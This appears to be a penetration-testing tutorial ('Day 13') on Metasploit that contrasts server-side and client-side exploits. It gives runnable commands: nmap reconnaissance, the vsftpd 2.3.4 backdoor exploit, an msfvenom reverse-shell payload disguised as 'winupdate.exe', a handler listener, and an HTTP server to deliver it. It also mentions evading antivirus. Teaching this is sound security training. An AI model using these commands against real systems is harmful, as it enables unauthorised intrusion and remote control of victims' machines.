# Day 13 – Hacking with Metasploit

## 1. Introduction

Metasploit is a powerful penetration testing framework that allows security researchers and ethical hackers to discover, exploit, and validate vulnerabilities. Exploits can generally be divided into two main categories:  
- Server-Side Exploits  
- Client-Side Exploits  
  
Understanding these categories is crucial for selecting the right attack vector based on reconnaissance results.

## 2. Server-Side Exploits

### 2.1 Definition

A server-side exploit targets vulnerabilities in services or applications running on a server that are accessible over the network. These vulnerabilities can be in web servers, database servers, FTP services, SMB shares, mail servers, etc.

### 2.2 How They Work

1. The attacker scans the target for open ports and services.  
2. They identify software versions running on the server.  
3. Using vulnerability databases (Exploit-DB, Rapid7, etc.), they match the version to known exploits.  
4. The exploit is executed remotely, without requiring user interaction from the victim.

### 2.3 Example Workflow

Reconnaissance:

sudo nmap -sS -sV target\_ip

- -sS: Stealth SYN scan

- -sV: Detects service versions

Aggressive Scan (Optional):

sudo nmap -A target\_ip

- Includes OS detection, version detection, script scanning, and traceroute.

Select a Vulnerable Service:

Example: FTP service running vsftpd 2.3.4 (known to have a backdoor exploit).

Exploit with Metasploit:

msfconsole  
use exploit/unix/ftp/vsftpd\_234\_backdoor  
set RHOST target\_ip  
run

## 3. Client-Side Exploits

### 3.1 Definition

A client-side exploit targets vulnerabilities in the user’s application — typically browsers, document readers, media players, or other software. These attacks require the victim to interact with malicious content (e.g., open a file, click a link).

### 3.2 How They Work

1. The attacker creates a malicious payload.  
2. The payload is embedded in a file or served via a webpage.  
3. The victim downloads or opens it.  
4. Upon execution, the payload connects back to the attacker, giving them control.

### 3.3 Example Workflow

Create Payload with msfvenom:

msfvenom -p windows/meterpreter/reverse\_tcp LHOST=<attacker\_ip> LPORT=8888 -f exe -o winupdate.exe  
- -p windows/meterpreter/reverse\_tcp: Payload type (reverse TCP shell for Windows)  
- LHOST: Attacker IP  
- LPORT: Listening port  
- -f exe: Output format  
- -o winupdate.exe: Output file

Start Multi/Handler in Metasploit:

msfconsole  
use exploit/multi/handler  
set payload windows/meterpreter/reverse\_tcp  
set LHOST <attacker\_ip>  
set LPORT 8888  
run

Serve the Payload via Python HTTP Server:

python3 -m http.server 80

- Hosts the payload at http://<attacker\_ip>/winupdate.exe  
- Victim downloads it (social engineering often required).

Execution:

Once the victim runs the file, the reverse shell connects back to the attacker.

## 4. Key Differences Between Server-Side and Client-Side Exploits

|  |  |  |  |  |
| --- | --- | --- | --- | --- |
| Feature | Server-Side Exploit | Client-Side Exploit |  |  |
| Target | Vulnerable service on a server | Vulnerable application on client machine |  |  |
| Initiation | Attacker initiates attack remotely | Victim must execute/open malicious content |  |  |
| User Interaction | Not required | Required |  |  |
| Example | Exploiting an outdated Apache server | Sending a malicious PDF to a victim |  |  |
| Risk | Can compromise entire server infrastructure | Limited to client system, but can escalate |  |  |

## 5. Security Considerations

- Legality: Running these attacks without permission is illegal.  
- Detection: IDS/IPS systems can detect exploit attempts.  
- Social Engineering: Client-side attacks often rely on convincing the user to run the file.  
- Payload Evasion: Antivirus and EDR solutions may detect basic payloads; obfuscation or encoding may be required for advanced testing.

## 6. Summary

- Server-side exploits attack services directly, based on vulnerabilities found during scanning.  
- Client-side exploits rely on user action to trigger the malicious code.  
- Metasploit provides tools for both, along with payload generation (msfvenom) and listener setup (multi/handler).  
- Serving payloads can be done with a Python HTTP server for quick delivery during testing.